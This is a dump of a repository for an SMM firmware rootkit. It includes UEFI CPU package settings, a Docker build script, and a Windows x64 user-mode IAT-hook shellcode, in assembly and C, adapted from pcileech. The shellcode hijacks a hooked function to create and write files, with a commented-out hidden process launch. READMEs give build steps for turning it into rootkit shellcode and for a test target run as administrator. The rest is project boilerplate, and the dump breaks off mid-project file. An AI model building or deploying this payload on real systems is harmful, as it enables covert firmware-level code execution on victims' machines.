(AP) stack size, used for Mp Service, which must\r\n  ## aligns the address on a 4-KByte boundary.\r\n  # @Prompt Configure stack size for Application Processor (AP)\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuApStackSize|0x8000|UINT32|0x00000003\r\n\r\n  ## Specifies stack size in the temporary RAM. 0 means half of TemporaryRamSize.\r\n  # @Prompt Stack size in the temporary RAM.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdPeiTemporaryRamStackSize|0|UINT32|0x10001003\r\n\r\n  ## Specifies buffer size in bytes to save SMM profile data. The value should be a multiple of 4KB.\r\n  # @Prompt SMM profile data buffer size.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileSize|0x200000|UINT32|0x32132107\r\n\r\n  ## Specifies stack size in bytes for each processor in SMM.\r\n  # @Prompt Processor stack size in SMM.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x2000|UINT32|0x32132105\r\n\r\n  ## Indicates if SMM Code Access Check is enabled.\r\n  #  If enabled, the SMM handler cannot execute the code outside SMM regions.\r\n  #  This PCD is suggested to TRUE in production image.<BR><BR>\r\n  #   TRUE  - SMM Code Access Check will be enabled.<BR>\r\n  #   FALSE - SMM Code Access Check will be disabled.<BR>\r\n  # @Prompt SMM Code Access Check.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmCodeAccessCheckEnable|TRUE|BOOLEAN|0x60000013\r\n\r\n  ## Specifies the number of variable MTRRs reserved for OS use. The default number of\r\n  #  MTRRs reserved for OS use is 2.\r\n  # @Prompt Number of reserved variable MTRRs.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuNumberOfReservedVariableMtrrs|0x2|UINT32|0x00000015\r\n\r\n  ## Specifies buffer size in bytes for STM exception stack. The value should be a multiple of 4KB.\r\n  # @Prompt STM exception stack size.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStmExceptionStackSize|0x1000|UINT32|0x32132111\r\n\r\n  ## Specifies buffer size in bytes of MSEG. The value should be a multiple of 4KB.\r\n  # @Prompt MSEG size.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuMsegSize|0x200000|UINT32|0x32132112\r\n\r\n  ## Specifies the supported CPU features bit in array.\r\n  # @Prompt Supported CPU features.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesSupport|{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}|VOID*|0x00000016\r\n\r\n  ## Specifies if CPU features will be initialized after SMM relocation.\r\n  # @Prompt If CPU features will be initialized after SMM relocation.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesInitAfterSmmRelocation|FALSE|BOOLEAN|0x0000001C\r\n\r\n  ## Specifies if CPU features will be initialized during S3 resume.\r\n  # @Prompt If CPU features will be initialized during S3 resume.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesInitOnS3Resume|FALSE|BOOLEAN|0x0000001D\r\n\r\n[PcdsFixedAtBuild, PcdsPatchableInModule, PcdsDynamic, PcdsDynamicEx]\r\n  ## Specifies max supported number of Logical Processors.\r\n  # @Prompt Configure max supported number of Logical Processors\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64|UINT32|0x00000002\r\n  ## Specifies timeout value in microseconds for the BSP to detect all APs for the first time.\r\n  # @Prompt Timeout for the BSP to detect all APs for the first time.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000|UINT32|0x00000004\r\n  ## Specifies the base address of the first microcode Patch in the microcode Region.\r\n  # @Prompt Microcode Region base address.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuMicrocodePatchAddress|0x0|UINT64|0x00000005\r\n  ## Specifies the size of the microcode Region.\r\n  # @Prompt Microcode Region size.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuMicrocodePatchRegionSize|0x0|UINT64|0x00000006\r\n  ## Specifies the AP wait loop state during POST phase.\r\n  #  The value is defined as below.<BR><BR>\r\n  #  1: Place AP in the Hlt-Loop state.<BR>\r\n  #  2: Place AP in the Mwait-Loop state.<BR>\r\n  #  3: Place AP in the Run-Loop state.<BR>\r\n  # @Prompt The AP wait loop state.\r\n  # @ValidRange  0x80000001 | 1 - 3\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuApLoopMode|1|UINT8|0x60008006\r\n  ## Specifies the AP target C-state for Mwait during POST phase.\r\n  #  The default value 0 means C1 state.\r\n  #  The value is defined as below.<BR><BR>\r\n  # @Prompt The specified AP target C-state for Mwait.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuApTargetCstate|0|UINT8|0x00000007\r\n\r\n  ## Indicates if SMM uses static page table.\r\n  #  If enabled, SMM will not use on-demand paging. SMM will build static page table for all memory.\r\n  #  This flag only impacts X64 build, because SMM always builds static page table for IA32.\r\n  #  It could not be enabled at the same time with SMM profile feature (PcdCpuSmmProfileEnable).\r\n  #  It could not be enabled also at the same time with heap guard feature for SMM\r\n  #  (PcdHeapGuardPropertyMask in MdeModulePkg).<BR><BR>\r\n  #   TRUE  - SMM uses static page table for all memory.<BR>\r\n  #   FALSE - SMM uses static page table for below 4G memory and use on-demand paging for above 4G memory.<BR>\r\n  # @Prompt Use static page table for all memory in SMM.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStaticPageTable|FALSE|BOOLEAN|0x3213210D\r\n\r\n  ## Specifies timeout value in microseconds for the BSP in SMM to wait for all APs to come into SMM.\r\n  # @Prompt AP synchronization timeout value in SMM.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|1000000|UINT64|0x32132104\r\n\r\n  ## Indicates the CPU synchronization method used when processing an SMI.\r\n  #   0x00  - Traditional CPU synchronization method.<BR>\r\n  #   0x01  - Relaxed CPU synchronization method.<BR>\r\n  # @Prompt SMM CPU Synchronization Method.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x00|UINT8|0x60000014\r\n\r\n  ## Specifies user's desired settings for enabling/disabling processor features.\r\n  # @Prompt User settings for enabling/disabling processor features.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesUserConfiguration|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000017\r\n\r\n  ## Specifies the On-demand clock modulation duty cycle when ACPI feature is enabled.\r\n  # @Prompt The encoded values for target duty cycle modulation.\r\n  # @ValidRange  0x80000001 | 0 - 15\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuClockModulationDutyCycle|0x0|UINT8|0x0000001A\r\n\r\n  ## Indicates if the current boot is a power-on reset.<BR><BR>\r\n  #   TRUE  - Current boot is a power-on reset.<BR>\r\n  #   FALSE - Current boot is not a power-on reset.<BR>\r\n  # @Prompt Current boot is a power-on reset.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdIsPowerOnReset|FALSE|BOOLEAN|0x0000001B\r\n\r\n[PcdsDynamic, PcdsDynamicEx]\r\n  ## Contains the pointer to a CPU S3 data buffer of structure ACPI_CPU_DATA.\r\n  # @Prompt The pointer to a CPU S3 data buffer.\r\n  # @ValidList   0x80000001 | 0\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuS3DataAddress|0x0|UINT64|0x60000010\r\n\r\n  ## Contains the pointer to a CPU Hot Plug Data structure if CPU hot-plug is supported.\r\n  # @Prompt The pointer to CPU Hot Plug Data.\r\n  # @ValidList   0x80000001 | 0\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuHotPlugDataAddress|0x0|UINT64|0x60000011\r\n\r\n  ## Indicates processor feature capabilities, each bit corresponding to a specific feature.\r\n  # @Prompt Processor feature capabilities.\r\n  # @ValidList   0x80000001 | 0\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesCapability|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000018\r\n\r\n  ## Specifies actual settings for processor features, each bit corresponding to a specific feature.\r\n  # @Prompt Actual processor feature settings.\r\n  # @ValidList   0x80000001 | 0\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesSetting|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000019\r\n\r\n  ## Contains the size of memory required when CPU processor trace is enabled.<BR><BR>\r\n  #  Processor trace is enabled through set BIT44(CPU_FEATURE_PROC_TRACE) in PcdCpuFeaturesSetting.<BR><BR>\r\n  #  This PCD is ignored if CPU processor trace is disabled.<BR><BR>\r\n  #  Default value is 0x00 which means 4KB of memory is allocated if CPU processor trace is enabled.<BR>\r\n  #  0x0  -  4K.<BR>\r\n  #  0x1  -  8K.<BR>\r\n  #  0x2  -  16K.<BR>\r\n  #  0x3  -  32K.<BR>\r\n  #  0x4  -  64K.<BR>\r\n  #  0x5  -  128K.<BR>\r\n  #  0x6  -  256K.<BR>\r\n  #  0x7  -  512K.<BR>\r\n  #  0x8  -  1M.<BR>\r\n  #  0x9  -  2M.<BR>\r\n  #  0xA  -  4M.<BR>\r\n  #  0xB  -  8M.<BR>\r\n  #  0xC  -  16M.<BR>\r\n  #  0xD  -  32M.<BR>\r\n  #  0xE  -  64M.<BR>\r\n  #  0xF  -  128M.<BR>\r\n  # @Prompt The memory size used for processor trace if processor trace is enabled.\r\n  # @ValidRange  0x80000001 | 0 - 0xF\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuProcTraceMemSize|0x0|UINT32|0x60000012\r\n\r\n  ## Contains the processor trace output scheme when CPU processor trace is enabled.<BR><BR>\r\n  #  Processor trace is enabled through set BIT44(CPU_FEATURE_PROC_TRACE) in PcdCpuFeaturesSetting.<BR><BR>\r\n  #  This PCD is ignored if CPU processor trace is disabled.<BR><BR>\r\n  #  Default value is 0 which means single range output scheme will be used if CPU processor trace is enabled.<BR>\r\n  #  0 - Single Range output scheme.<BR>\r\n  #  1 - ToPA(Table of physical address) scheme.<BR>\r\n  # @Prompt The processor trace output scheme used when processor trace is enabled.\r\n  # @ValidRange  0x80000001 | 0 - 1\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuProcTraceOutputScheme|0x0|UINT8|0x60000015\r\n\r\n[UserExtensions.TianoCore.\"ExtraFiles\"]\r\n  UefiCpuPkgExtra.uni\r\n"
  },
  {
    "path": "run_docker.sh",
    "content": "#!/bin/bash\n\nSOURCE=\"${BASH_SOURCE[0]}\"\nwhile [ -h \"$SOURCE\" ]; do # resolve $SOURCE until the file is no longer a symlink\n  DIR=\"$( cd -P \"$( dirname \"$SOURCE\" )\" && pwd )\"\n  SOURCE=\"$(readlink \"$SOURCE\")\"\n  [[ $SOURCE != /* ]] && SOURCE=\"$DIR/$SOURCE\" # if $SOURCE was a relative symlink, we need to resolve it relative to the path where the symlink file was located\ndone\nDIR=\"$( cd -P \"$( dirname \"$SOURCE\" )\" && pwd )\"\n\n# must be run as root\n[[ \"$EUID\" -ne 0 ]] && { echo \"This script must be run with root privileges!\"; exit 1; }\n\n\n\ndocker build --no-cache -t edk-builder/edk-builder -f $DIR/Dockerfile $DIR\n\n\ndocker run -it --privileged -v \"$DIR\":/root/ -u root -w /root edk-builder/edk-builder /bin/bash"
  },
  {
    "path": "shellcode/windows_x64_umd_iat/README.md",
    "content": "# Windows X64 Usermode IAT Hook\n\n## Compile and use\n\n```\ncl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /c /TC windows_x64_umd_iat.c\nml64 windows_x64_umd_iat.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main \"windows_x64_umd_iat.obj\"\n```\n\nTo generate the shellcode for the SMM Rootkit, use the *shellcode64_win.exe* tool from the parent directory\n```\nshellcode64_win.exe -o windows_x64_umd_iat.exe\n```\nIf you don't want to trust me (you should not!) and run binaries from a random hacker's repo, please download the sources and compile the shellcode-generation tool locally: https://github.com/ufrisk/shellcode64\n\n\n## Disclaimer\n\nThis Windows X64 UMD IAT hooking shellcode is a modified version from Ulf Frisk's [pcileech](https://github.com/ufrisk/pcileech) (Direct Memory Access Attack Software) similar shellcode injection attack."
  },
  {
    "path": "shellcode/windows_x64_umd_iat/windows_x64_umd_iat.asm",
    "content": "; wx64_umd_exec.asm : assembly to receive execution from initial hook in user-mode shellcode (umd).\n;\n; (c) Ulf Frisk, 2019\n; Author: Ulf Frisk, pcileech@frizk.net\n; Modified for SMM rootkit by Jussi Hietanen\n\nEXTRN c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: SAVE ORIGINAL PARAMETERS - MAX 3 PARAMS IN FNCALL\n\t;    OF HOOKED FUNCTION IS CURRENTLY SUPPORTED ...\n\t; ----------------------------------------------------\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH r8\n\tPUSH r9\n\tJMP main_continue\n\t; ----------------------------------------------------\n\t; 0: ADDRESS OF ORIGINAL CODE AND MAIN CONTEXT (IN RW SECTION)\n\t; ----------------------------------------------------\n\taddr_main_context\t\t\t\t\tdq 1111111111111111h\t; offset 0x08\n\taddr_orig_code\t\t\t\t\t\tdq 2222222222222222h\t; offset 0x10\n\t; ----------------------------------------------------\n\t; 2: CALL MAIN SETUP CODE\n\t; ----------------------------------------------------\n\tmain_continue:\n\tPUSH rax\n\tMOV rcx, [addr_main_context]\n\tSUB rsp, 30h\n\tCALL c_EntryPoint\n\tADD rsp, 30h\n\t; ----------------------------------------------------\n\t; 3: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tPOP rax\n\tPOP r9\n\tPOP r8\n\tPOP rdx\n\tPOP rcx\n\tJMP [addr_orig_code]\nmain ENDP\n\nEND\n"
  },
  {
    "path": "shellcode/windows_x64_umd_iat/windows_x64_umd_iat.c",
    "content": "// wx64_umd_exec_c.c : usermode 'umd' shellcode for PCILeech for starting and\n//                     and executing a process optionally with input redirect.\n//                     NB! this feature is still 'experimental'. \n//\n// (c) Ulf Frisk, 2019\n// Author: Ulf Frisk, pcileech@frizk.net\n// Modified for SMM rootkit by Jussi Hietanen\n\n#include <windows.h>\n\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\n\n/*\ntypedef struct tdUMD_EXEC_CONTEXT_LIMITED {\n    LONG64 fCMPXCHG;\n    CHAR fStatus;\n    HANDLE hProcessHandle;\n    struct {\n        QWORD CloseHandle;\n        QWORD CreateFileA;\n        QWORD CreateProcessA;\n        QWORD CreateThread;\n        QWORD GetExitCodeProcess;\n        QWORD ReadFile;\n        QWORD WriteFile;\n        QWORD LocalAlloc;\n    } fn;\n    CHAR szString1[100];\n    CHAR szString2[100];\n} UMD_EXEC_CONTEXT_LIMITED, *PUMD_EXEC_CONTEXT_LIMITED;\n*/\n\n\ntypedef struct tdUMD_EXEC_CONTEXT_FULL {\n    LONG64 fCMPXCHG;\n    CHAR fStatus;\n    HANDLE hProcessHandle;      // for future implementations maybe\n    struct {\n        BOOL(*CloseHandle)(\n            HANDLE hObject\n            );\n        HANDLE(*CreateFileA)(\n            LPCSTR                lpFileName,\n            DWORD                 dwDesiredAccess,\n            DWORD                 dwShareMode,\n            LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n            DWORD                 dwCreationDisposition,\n            DWORD                 dwFlagsAndAttributes,\n            HANDLE                hTemplateFile\n            );\n        BOOL(*CreateProcessA)(\n            LPCSTR                lpApplicationName,\n            LPSTR                 lpCommandLine,\n            LPSECURITY_ATTRIBUTES lpProcessAttributes,\n            LPSECURITY_ATTRIBUTES lpThreadAttributes,\n            BOOL                  bInheritHandles,\n            DWORD                 dwCreationFlags,\n            LPVOID                lpEnvironment,\n            LPCSTR                lpCurrentDirectory,\n            LPSTARTUPINFOA        lpStartupInfo,\n            LPPROCESS_INFORMATION lpProcessInformation\n            );\n        HANDLE(*CreateThread)(\n            LPSECURITY_ATTRIBUTES   lpThreadAttributes,\n            SIZE_T                  dwStackSize,\n            LPTHREAD_START_ROUTINE  lpStartAddress,\n            __drv_aliasesMem LPVOID lpParameter,\n            DWORD                   dwCreationFlags,\n            LPDWORD                 lpThreadId\n            );\n        BOOL(*GetExitCodeProcess)(\n            HANDLE  hProcess,\n            LPDWORD lpExitCode\n            );\n        BOOL(*ReadFile)(\n            HANDLE       hFile,\n            LPVOID       lpBuffer,\n            DWORD        nNumberOfBytesToRead,\n            LPDWORD      lpNumberOfBytesRead,\n            LPOVERLAPPED lpOverlapped\n            );\n        BOOL(*WriteFile)(\n            HANDLE       hFile,\n            LPCVOID      lpBuffer,\n            DWORD        nNumberOfBytesToWrite,\n            LPDWORD      lpNumberOfBytesWritten,\n            LPOVERLAPPED lpOverlapped\n            );\n        HLOCAL(*LocalAlloc)(\n            UINT   uFlags,\n            SIZE_T uBytes\n            );\n    } fn;\n    CHAR szString1[100];\n    CHAR szString2[100];\n} UMD_EXEC_CONTEXT_FULL, *PUMD_EXEC_CONTEXT_FULL;\n\n\n\nVOID c_EntryPoint(PUMD_EXEC_CONTEXT_FULL ctx)\n{\n    // no function addresses -> invalid context!\n    if(!ctx->fn.CloseHandle)\n    {\n        return;\n    }\n\n    //\n    // File creation example\n    //\n    HANDLE filee = ctx->fn.CreateFileA(ctx->szString1, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n    if(filee == INVALID_HANDLE_VALUE)\n    {\n        return;\n    }\n    ctx->fn.WriteFile(filee, ctx->szString2, 16, NULL, NULL);\n    ctx->fn.CloseHandle(filee);\n\n    /*\n    // Process creation example\n    //\n    LPSTARTUPINFO psi = ctx->fn.LocalAlloc(LMEM_ZEROINIT, sizeof(STARTUPINFO));\n    PROCESS_INFORMATION pi;\n    // set up data\n    psi->cb = sizeof(STARTUPINFO);\n    psi->dwFlags = STARTF_USESTDHANDLES;\n    // launch executable with CREATE_NO_WINDOW as Process Creation Flags\n    ctx->fn.CreateProcessA(NULL, ctx->szString1, NULL, NULL, TRUE, 0x08000000, NULL, NULL, psi, &pi)\n    */\n    ctx->fStatus = 0xff;\n    return;\n}\n"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/.gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\r\n## files generated by popular Visual Studio add-ons.\r\n##\r\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\r\n\r\n# User-specific files\r\n*.rsuser\r\n*.suo\r\n*.user\r\n*.userosscache\r\n*.sln.docstates\r\n\r\n# User-specific files (MonoDevelop/Xamarin Studio)\r\n*.userprefs\r\n\r\n# Build results\r\n[Dd]ebug/\r\n[Dd]ebugPublic/\r\n[Rr]elease/\r\n[Rr]eleases/\r\nx64/\r\nx86/\r\n[Aa][Rr][Mm]/\r\n[Aa][Rr][Mm]64/\r\nbld/\r\n[Bb]in/\r\n[Oo]bj/\r\n[Ll]og/\r\n\r\n# Visual Studio 2015/2017 cache/options directory\r\n.vs/\r\n# Uncomment if you have tasks that create the project's static files in wwwroot\r\n#wwwroot/\r\n\r\n# Visual Studio 2017 auto generated files\r\nGenerated\\ Files/\r\n\r\n# MSTest test Results\r\n[Tt]est[Rr]esult*/\r\n[Bb]uild[Ll]og.*\r\n\r\n# NUNIT\r\n*.VisualState.xml\r\nTestResult.xml\r\n\r\n# Build Results of an ATL Project\r\n[Dd]ebugPS/\r\n[Rr]eleasePS/\r\ndlldata.c\r\n\r\n# Benchmark Results\r\nBenchmarkDotNet.Artifacts/\r\n\r\n# .NET Core\r\nproject.lock.json\r\nproject.fragment.lock.json\r\nartifacts/\r\n\r\n# StyleCop\r\nStyleCopReport.xml\r\n\r\n# Files built by Visual Studio\r\n*_i.c\r\n*_p.c\r\n*_h.h\r\n*.ilk\r\n*.meta\r\n*.obj\r\n*.iobj\r\n*.pch\r\n*.pdb\r\n*.ipdb\r\n*.pgc\r\n*.pgd\r\n*.rsp\r\n*.sbr\r\n*.tlb\r\n*.tli\r\n*.tlh\r\n*.tmp\r\n*.tmp_proj\r\n*_wpftmp.csproj\r\n*.log\r\n*.vspscc\r\n*.vssscc\r\n.builds\r\n*.pidb\r\n*.svclog\r\n*.scc\r\n\r\n# Chutzpah Test files\r\n_Chutzpah*\r\n\r\n# Visual C++ cache files\r\nipch/\r\n*.aps\r\n*.ncb\r\n*.opendb\r\n*.opensdf\r\n*.sdf\r\n*.cachefile\r\n*.VC.db\r\n*.VC.VC.opendb\r\n\r\n# Visual Studio profiler\r\n*.psess\r\n*.vsp\r\n*.vspx\r\n*.sap\r\n\r\n# Visual Studio Trace Files\r\n*.e2e\r\n\r\n# TFS 2012 Local Workspace\r\n$tf/\r\n\r\n# Guidance Automation Toolkit\r\n*.gpState\r\n\r\n# ReSharper is a .NET coding add-in\r\n_ReSharper*/\r\n*.[Rr]e[Ss]harper\r\n*.DotSettings.user\r\n\r\n# JustCode is a .NET coding add-in\r\n.JustCode\r\n\r\n# TeamCity is a build add-in\r\n_TeamCity*\r\n\r\n# DotCover is a Code Coverage Tool\r\n*.dotCover\r\n\r\n# AxoCover is a Code Coverage Tool\r\n.axoCover/*\r\n!.axoCover/settings.json\r\n\r\n# Visual Studio code coverage results\r\n*.coverage\r\n*.coveragexml\r\n\r\n# NCrunch\r\n_NCrunch_*\r\n.*crunch*.local.xml\r\nnCrunchTemp_*\r\n\r\n# MightyMoose\r\n*.mm.*\r\nAutoTest.Net/\r\n\r\n# Web workbench (sass)\r\n.sass-cache/\r\n\r\n# Installshield output folder\r\n[Ee]xpress/\r\n\r\n# DocProject is a documentation generator add-in\r\nDocProject/buildhelp/\r\nDocProject/Help/*.HxT\r\nDocProject/Help/*.HxC\r\nDocProject/Help/*.hhc\r\nDocProject/Help/*.hhk\r\nDocProject/Help/*.hhp\r\nDocProject/Help/Html2\r\nDocProject/Help/html\r\n\r\n# Click-Once directory\r\npublish/\r\n\r\n# Publish Web Output\r\n*.[Pp]ublish.xml\r\n*.azurePubxml\r\n# Note: Comment the next line if you want to checkin your web deploy settings,\r\n# but database connection strings (with potential passwords) will be unencrypted\r\n*.pubxml\r\n*.publishproj\r\n\r\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\r\n# checkin your Azure Web App publish settings, but sensitive information contained\r\n# in these scripts will be unencrypted\r\nPublishScripts/\r\n\r\n# NuGet Packages\r\n*.nupkg\r\n# The packages folder can be ignored because of Package Restore\r\n**/[Pp]ackages/*\r\n# except build/, which is used as an MSBuild target.\r\n!**/[Pp]ackages/build/\r\n# Uncomment if necessary however generally it will be regenerated when needed\r\n#!**/[Pp]ackages/repositories.config\r\n# NuGet v3's project.json files produces more ignorable files\r\n*.nuget.props\r\n*.nuget.targets\r\n\r\n# Microsoft Azure Build Output\r\ncsx/\r\n*.build.csdef\r\n\r\n# Microsoft Azure Emulator\r\necf/\r\nrcf/\r\n\r\n# Windows Store app package directories and files\r\nAppPackages/\r\nBundleArtifacts/\r\nPackage.StoreAssociation.xml\r\n_pkginfo.txt\r\n*.appx\r\n\r\n# Visual Studio cache files\r\n# files ending in .cache can be ignored\r\n*.[Cc]ache\r\n# but keep track of directories ending in .cache\r\n!?*.[Cc]ache/\r\n\r\n# Others\r\nClientBin/\r\n~$*\r\n*~\r\n*.dbmdl\r\n*.dbproj.schemaview\r\n*.jfm\r\n*.pfx\r\n*.publishsettings\r\norleans.codegen.cs\r\n\r\n# Including strong name files can present a security risk\r\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\r\n#*.snk\r\n\r\n# Since there are multiple workflows, uncomment next line to ignore bower_components\r\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\r\n#bower_components/\r\n\r\n# RIA/Silverlight projects\r\nGenerated_Code/\r\n\r\n# Backup & report files from converting an old project file\r\n# to a newer Visual Studio version. Backup files are not needed,\r\n# because we have git ;-)\r\n_UpgradeReport_Files/\r\nBackup*/\r\nUpgradeLog*.XML\r\nUpgradeLog*.htm\r\nServiceFabricBackup/\r\n*.rptproj.bak\r\n\r\n# SQL Server files\r\n*.mdf\r\n*.ldf\r\n*.ndf\r\n\r\n# Business Intelligence projects\r\n*.rdl.data\r\n*.bim.layout\r\n*.bim_*.settings\r\n*.rptproj.rsuser\r\n*- Backup*.rdl\r\n\r\n# Microsoft Fakes\r\nFakesAssemblies/\r\n\r\n# GhostDoc plugin setting file\r\n*.GhostDoc.xml\r\n\r\n# Node.js Tools for Visual Studio\r\n.ntvs_analysis.dat\r\nnode_modules/\r\n\r\n# Visual Studio 6 build log\r\n*.plg\r\n\r\n# Visual Studio 6 workspace options file\r\n*.opt\r\n\r\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\r\n*.vbw\r\n\r\n# Visual Studio LightSwitch build output\r\n**/*.HTMLClient/GeneratedArtifacts\r\n**/*.DesktopClient/GeneratedArtifacts\r\n**/*.DesktopClient/ModelManifest.xml\r\n**/*.Server/GeneratedArtifacts\r\n**/*.Server/ModelManifest.xml\r\n_Pvt_Extensions\r\n\r\n# Paket dependency manager\r\n.paket/paket.exe\r\npaket-files/\r\n\r\n# FAKE - F# Make\r\n.fake/\r\n\r\n# JetBrains Rider\r\n.idea/\r\n*.sln.iml\r\n\r\n# CodeRush personal settings\r\n.cr/personal\r\n\r\n# Python Tools for Visual Studio (PTVS)\r\n__pycache__/\r\n*.pyc\r\n\r\n# Cake - Uncomment if you are using it\r\n# tools/**\r\n# !tools/packages.config\r\n\r\n# Tabs Studio\r\n*.tss\r\n\r\n# Telerik's JustMock configuration file\r\n*.jmconfig\r\n\r\n# BizTalk build output\r\n*.btp.cs\r\n*.btm.cs\r\n*.odx.cs\r\n*.xsd.cs\r\n\r\n# OpenCover UI analysis results\r\nOpenCover/\r\n\r\n# Azure Stream Analytics local run output\r\nASALocalRun/\r\n\r\n# MSBuild Binary and Structured Log\r\n*.binlog\r\n\r\n# NVidia Nsight GPU debugger configuration file\r\n*.nvuser\r\n\r\n# MFractors (Xamarin productivity tool) working folder\r\n.mfractor/\r\n\r\n# Local History for Visual Studio\r\n.localhistory/\r\n\r\n# BeatPulse healthcheck temp database\r\nhealthchecksdb"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/README.md",
    "content": "# Tester program for Windows X64 Usermode IAT Hook\n\nThis program is a tester program for the IAT hook shellcode.\n\nIt calls `GetCurrentProcessId()` every time enter is pressed inside the console. By default, `GetCurrentProcessId()` is also hooked from the SMM driver. To compile it, you need Visual Studio with C/C++ tools installed. **Compile with Debug & x64**. If you don't compile it with debug option, the rootkit may not find a codecave to write the shellcode! Also run this program as administrator on the target machine!"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.cpp",
    "content": "// windows_x64_umd_iat.cpp : This file contains the 'main' function. Program execution begins and ends there.\r\n//\r\n\r\n#include <iostream>\r\n#include <string>\r\n#include <Windows.h>\r\n\r\n\r\nint main()\r\n{\r\n    std::string a;\r\n    while (std::cin >> a)\r\n    {\r\n        std::cout << \"Process id is: \" << GetCurrentProcessId() << std::endl;\r\n    }\r\n}"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Debug|x64\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|x64\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <VCProjectVersion>16.0</VCProjectVersion>\r\n    <ProjectGuid>{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}</ProjectGuid>\r\n    <Keyword>Win32Proj</Keyword>\r\n    <RootNamespace>windowsx64umdiat</RootNamespace>\r\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v142</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v142</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v142</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup 